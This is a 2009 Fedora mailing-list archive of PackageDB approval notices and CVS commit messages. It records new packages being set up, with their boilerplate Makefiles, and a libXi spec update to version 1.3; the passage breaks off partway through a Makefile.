Date: Tue, 06 Oct 2009 17:28:05 +0000
Subject: [pkgdb] sil-scheherazade-fonts was added for hedayat
Message-ID: <20091006172805.91A1510F895@bastion2.fedora.phx.redhat.com>

kevin has added Package sil-scheherazade-fonts with summary An Arabic script unicode font
kevin has approved Package sil-scheherazade-fonts
kevin has added a Fedora devel branch for sil-scheherazade-fonts with an owner of hedayat
kevin has approved sil-scheherazade-fonts in Fedora devel
kevin has approved Package sil-scheherazade-fonts
kevin has set commit to Approved for 107427 on sil-scheherazade-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on sil-scheherazade-fonts (Fedora devel)
kevin has set build to Approved for 107427 on sil-scheherazade-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sil-scheherazade-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:28:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:28:09 +0000
Subject: [pkgdb] sil-scheherazade-fonts summary updated by kevin
Message-ID: <20091006172809.4CB7F10F892@bastion2.fedora.phx.redhat.com>

kevin set package sil-scheherazade-fonts summary to An Arabic script unicode font

To make changes to this package see:
  /pkgdb/packages/name/sil-scheherazade-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:28:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:28:09 +0000
Subject: [pkgdb] sil-scheherazade-fonts (Fedora, 10) updated by kevin
Message-ID: <20091006172809.53C0E10F8A3@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on sil-scheherazade-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on sil-scheherazade-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-scheherazade-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:28:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:28:09 +0000
Subject: [pkgdb] sil-scheherazade-fonts (Fedora, 10) updated by kevin
Message-ID: <20091006172809.5F10910F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sil-scheherazade-fonts
kevin has set commit to Approved for 107427 on sil-scheherazade-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on sil-scheherazade-fonts (Fedora 11)
kevin has set build to Approved for 107427 on sil-scheherazade-fonts (Fedora 11)
kevin approved watchbugzilla on sil-scheherazade-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on sil-scheherazade-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-scheherazade-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:28:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:28:09 +0000
Subject: [pkgdb] sil-scheherazade-fonts (Fedora, 10) updated by kevin
Message-ID: <20091006172809.67BC010F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sil-scheherazade-fonts
kevin has set commit to Approved for 107427 on sil-scheherazade-fonts (Fedora 10)
kevin has set checkout to Approved for 107427 on sil-scheherazade-fonts (Fedora 10)
kevin has set build to Approved for 107427 on sil-scheherazade-fonts (Fedora 10)
kevin approved watchbugzilla on sil-scheherazade-fonts (Fedora 10) for fonts-sig
kevin approved watchcommits on sil-scheherazade-fonts (Fedora 10) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-scheherazade-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:28:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:28:09 +0000
Subject: [pkgdb] sil-scheherazade-fonts (Fedora, 10) updated by kevin
Message-ID: <20091006172809.7179110F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sil-scheherazade-fonts
kevin has set commit to Approved for 107427 on sil-scheherazade-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on sil-scheherazade-fonts (Fedora 12)
kevin has set build to Approved for 107427 on sil-scheherazade-fonts (Fedora 12)
kevin approved watchbugzilla on sil-scheherazade-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on sil-scheherazade-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-scheherazade-fonts



From kevin at fedoraproject.org  Tue Oct  6 17:28:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:28:16 +0000 (UTC)
Subject: rpms/sil-scheherazade-fonts - New directory
Message-ID: <20091006172816.1C90311C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-scheherazade-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ16379/rpms/sil-scheherazade-fonts

Log Message:
Directory /cvs/pkgs/rpms/sil-scheherazade-fonts added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:28:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:28:16 +0000 (UTC)
Subject: rpms/sil-scheherazade-fonts/devel - New directory
Message-ID: <20091006172816.482C111C0299@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-scheherazade-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ16379/rpms/sil-scheherazade-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/sil-scheherazade-fonts/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:28:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:28:23 +0000 (UTC)
Subject: rpms/sil-scheherazade-fonts Makefile,NONE,1.1
Message-ID: <20091006172823.03CCC11C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-scheherazade-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ16379/rpms/sil-scheherazade-fonts

Added Files:
	Makefile 
Log Message:
Setup of module sil-scheherazade-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module sil-scheherazade-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:28:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:28:23 +0000 (UTC)
Subject: rpms/sil-scheherazade-fonts/devel .cvsignore, NONE, 1.1 Makefile,
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091006172823.3DA3F11C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-scheherazade-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ16379/rpms/sil-scheherazade-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sil-scheherazade-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sil-scheherazade-fonts
# $Id: Makefile,v 1.1 2009/10/06 17:28:23 kevin Exp $
NAME := sil-scheherazade-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From ajax at fedoraproject.org  Tue Oct  6 17:28:49 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 17:28:49 +0000 (UTC)
Subject: rpms/libXi/F-12 libXi.spec,1.39,1.40 sources,1.21,1.22
Message-ID: <20091006172849.7FDE411C0297@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXi/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16706

Modified Files:
	libXi.spec sources 
Log Message:
* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
- libXi 1.3



Index: libXi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXi/F-12/libXi.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- libXi.spec	25 Aug 2009 04:03:46 -0000	1.39
+++ libXi.spec	6 Oct 2009 17:28:49 -0000	1.40
@@ -1,17 +1,17 @@
 %define tarball libXi
-%define gitdate 20090825
+#define gitdate 20090825
 
 Summary: X.Org X11 libXi runtime library
 Name: libXi
-Version: 1.2.99
-Release: 11.%{gitdate}%{?dist}
+Version: 1.3
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
-Source0:    %{tarball}-%{gitdate}.tar.bz2
+Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
+#Source0:    %{tarball}-%{gitdate}.tar.bz2
 Source1:    make-git-snapshot.sh
 
 BuildRequires: autoconf automake libtool
@@ -38,8 +38,8 @@ Requires: pkgconfig
 X.Org X11 libXi development package
 
 %prep
-#%setup -q
-%setup -q -n %{tarball}-%{gitdate}
+%setup -q
+#setup -q -n %{tarball}-%{gitdate}
 
 # Disable static library creation by default.
 %define with_static 0
@@ -86,6 +86,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
+- libXi 1.3
+
 * Tue Aug 25 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.2.99-11.20090825
 - Update to today's git master, requires inputproto 1.9.99.902
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXi/F-12/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	25 Aug 2009 04:03:46 -0000	1.21
+++ sources	6 Oct 2009 17:28:49 -0000	1.22
@@ -1 +1 @@
-ffa25245465d6547b8d93870c201cb0a  libXi-20090825.tar.bz2
+8df4ece9bd1efb02c28acb2b6f485e09  libXi-1.3.tar.bz2



From pkgdb at fedoraproject.org  Tue Oct  6 17:29:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:29:08 +0000
Subject: [pkgdb] madwimax was added for atorkhov
Message-ID: <20091006172908.649F710F88E@bastion2.fedora.phx.redhat.com>

kevin has added Package madwimax with summary Driver for mobile WiMAX devices based on Samsung CMC-730
kevin has approved Package madwimax
kevin has added a Fedora devel branch for madwimax with an owner of atorkhov
kevin has approved madwimax in Fedora devel
kevin has approved Package madwimax
kevin has set commit to Approved for 107427 on madwimax (Fedora devel)
kevin has set checkout to Approved for 107427 on madwimax (Fedora devel)
kevin has set build to Approved for 107427 on madwimax (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/madwimax



From pkgdb at fedoraproject.org  Tue Oct  6 17:29:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:29:09 +0000
Subject: [pkgdb] madwimax summary updated by kevin
Message-ID: <20091006172909.E542110F895@bastion2.fedora.phx.redhat.com>

kevin set package madwimax summary to Driver for mobile WiMAX devices based on Samsung CMC-730

To make changes to this package see:
  /pkgdb/packages/name/madwimax



From pkgdb at fedoraproject.org  Tue Oct  6 17:29:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:29:09 +0000
Subject: [pkgdb] madwimax (Fedora, 11) updated by kevin
Message-ID: <20091006172910.0CA4410F8A2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for madwimax
kevin has set commit to Approved for 107427 on madwimax (Fedora 11)
kevin has set checkout to Approved for 107427 on madwimax (Fedora 11)
kevin has set build to Approved for 107427 on madwimax (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/madwimax



From pkgdb at fedoraproject.org  Tue Oct  6 17:29:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:29:09 +0000
Subject: [pkgdb] madwimax (Fedora, 11) updated by kevin
Message-ID: <20091006172910.1977010F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for madwimax
kevin has set commit to Approved for 107427 on madwimax (Fedora 12)
kevin has set checkout to Approved for 107427 on madwimax (Fedora 12)
kevin has set build to Approved for 107427 on madwimax (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/madwimax



From kevin at fedoraproject.org  Tue Oct  6 17:29:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:29:18 +0000 (UTC)
Subject: rpms/madwimax - New directory
Message-ID: <20091006172918.155C411C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/madwimax
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc16860/rpms/madwimax

Log Message:
Directory /cvs/pkgs/rpms/madwimax added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:29:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:29:18 +0000 (UTC)
Subject: rpms/madwimax/devel - New directory
Message-ID: <20091006172918.36E9311C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/madwimax/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc16860/rpms/madwimax/devel

Log Message:
Directory /cvs/pkgs/rpms/madwimax/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:29:25 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:29:25 +0000 (UTC)
Subject: rpms/madwimax Makefile,NONE,1.1
Message-ID: <20091006172925.06C8F11C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/madwimax
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc16860/rpms/madwimax

Added Files:
	Makefile 
Log Message:
Setup of module madwimax


--- NEW FILE Makefile ---
# Top level Makefile for module madwimax
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:29:25 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:29:25 +0000 (UTC)
Subject: rpms/madwimax/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006172925.4945411C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/madwimax/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc16860/rpms/madwimax/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module madwimax


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: madwimax
# $Id: Makefile,v 1.1 2009/10/06 17:29:25 kevin Exp $
NAME := madwimax
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:30:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:30:04 +0000
Subject: [pkgdb] volpack was added for red
Message-ID: <20091006173004.CFF9810F894@bastion2.fedora.phx.redhat.com>

kevin has added Package volpack with summary Portable library for fast volume rendering
kevin has approved Package volpack
kevin has added a Fedora devel branch for volpack with an owner of red
kevin has approved volpack in Fedora devel
kevin has approved Package volpack
kevin has set commit to Approved for 107427 on volpack (Fedora devel)
kevin has set checkout to Approved for 107427 on volpack (Fedora devel)
kevin has set build to Approved for 107427 on volpack (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/volpack



From pkgdb at fedoraproject.org  Tue Oct  6 17:30:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:30:06 +0000
Subject: [pkgdb] volpack summary updated by kevin
Message-ID: <20091006173006.B185E10F8A2@bastion2.fedora.phx.redhat.com>

kevin set package volpack summary to Portable library for fast volume rendering

To make changes to this package see:
  /pkgdb/packages/name/volpack



From pkgdb at fedoraproject.org  Tue Oct  6 17:30:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:30:06 +0000
Subject: [pkgdb] volpack (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173006.BB07110F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for volpack
kevin has set commit to Approved for 107427 on volpack (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on volpack (Fedora EPEL 5)
kevin has set build to Approved for 107427 on volpack (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/volpack



From pkgdb at fedoraproject.org  Tue Oct  6 17:30:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:30:06 +0000
Subject: [pkgdb] volpack (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173006.C8A0410F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for volpack
kevin has set commit to Approved for 107427 on volpack (Fedora 11)
kevin has set checkout to Approved for 107427 on volpack (Fedora 11)
kevin has set build to Approved for 107427 on volpack (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/volpack



From pkgdb at fedoraproject.org  Tue Oct  6 17:30:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:30:06 +0000
Subject: [pkgdb] volpack (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173006.D3F0910F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for volpack
kevin has set commit to Approved for 107427 on volpack (Fedora 12)
kevin has set checkout to Approved for 107427 on volpack (Fedora 12)
kevin has set build to Approved for 107427 on volpack (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/volpack



From kevin at fedoraproject.org  Tue Oct  6 17:30:14 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:30:14 +0000 (UTC)
Subject: rpms/volpack/devel - New directory
Message-ID: <20091006173014.3FA4C11C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/volpack/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM17173/rpms/volpack/devel

Log Message:
Directory /cvs/pkgs/rpms/volpack/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:30:14 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:30:14 +0000 (UTC)
Subject: rpms/volpack - New directory
Message-ID: <20091006173014.1CE2911C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/volpack
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM17173/rpms/volpack

Log Message:
Directory /cvs/pkgs/rpms/volpack added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:30:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:30:21 +0000 (UTC)
Subject: rpms/volpack Makefile,NONE,1.1
Message-ID: <20091006173021.50E1411C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/volpack
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM17173/rpms/volpack

Added Files:
	Makefile 
Log Message:
Setup of module volpack


--- NEW FILE Makefile ---
# Top level Makefile for module volpack
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:30:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:30:21 +0000 (UTC)
Subject: rpms/volpack/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091006173021.89D2211C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/volpack/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM17173/rpms/volpack/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module volpack


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: volpack
# $Id: Makefile,v 1.1 2009/10/06 17:30:21 kevin Exp $
NAME := volpack
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:31:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:31:22 +0000
Subject: [pkgdb] oflb-smonohand-fonts was added for salimma
Message-ID: <20091006173122.5C1F110F871@bastion2.fedora.phx.redhat.com>

kevin has added Package oflb-smonohand-fonts with summary A handwritten monospace font
kevin has approved Package oflb-smonohand-fonts
kevin has added a Fedora devel branch for oflb-smonohand-fonts with an owner of salimma
kevin has approved oflb-smonohand-fonts in Fedora devel
kevin has approved Package oflb-smonohand-fonts
kevin has set commit to Approved for 107427 on oflb-smonohand-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on oflb-smonohand-fonts (Fedora devel)
kevin has set build to Approved for 107427 on oflb-smonohand-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/oflb-smonohand-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:31:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:31:54 +0000
Subject: [pkgdb] oflb-smonohand-fonts (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173154.CED6910F871@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on oflb-smonohand-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on oflb-smonohand-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-smonohand-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:31:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:31:54 +0000
Subject: [pkgdb] oflb-smonohand-fonts (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173154.D8CC110F892@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on oflb-smonohand-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on oflb-smonohand-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-smonohand-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:31:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:31:54 +0000
Subject: [pkgdb] oflb-smonohand-fonts (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173154.E9BDF10F89C@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on oflb-smonohand-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on oflb-smonohand-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-smonohand-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:31:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:31:54 +0000
Subject: [pkgdb] oflb-smonohand-fonts (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173155.02E2210F8A3@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on oflb-smonohand-fonts (Fedora 10) for fonts-sig
kevin approved watchcommits on oflb-smonohand-fonts (Fedora 10) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-smonohand-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:31:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:31:54 +0000
Subject: [pkgdb] oflb-smonohand-fonts (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173155.10C2E10F8A9@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on oflb-smonohand-fonts (Fedora EPEL 4) for fonts-sig
kevin approved watchcommits on oflb-smonohand-fonts (Fedora EPEL 4) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-smonohand-fonts



From pkgdb at fedoraproject.org  Tue Oct  6 17:31:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:31:54 +0000
Subject: [pkgdb] oflb-smonohand-fonts (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173155.214E910F8AD@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on oflb-smonohand-fonts (Fedora EPEL 5) for fonts-sig
kevin approved watchcommits on oflb-smonohand-fonts (Fedora EPEL 5) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-smonohand-fonts



From kevin at fedoraproject.org  Tue Oct  6 17:32:10 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:32:10 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts - New directory
Message-ID: <20091006173210.13C7911C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK17716/rpms/oflb-smonohand-fonts

Log Message:
Directory /cvs/pkgs/rpms/oflb-smonohand-fonts added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:32:10 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:32:10 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts/devel - New directory
Message-ID: <20091006173210.351A611C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK17716/rpms/oflb-smonohand-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/oflb-smonohand-fonts/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:32:17 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:32:17 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts Makefile,NONE,1.1
Message-ID: <20091006173217.9574611C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK17716/rpms/oflb-smonohand-fonts

Added Files:
	Makefile 
Log Message:
Setup of module oflb-smonohand-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module oflb-smonohand-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
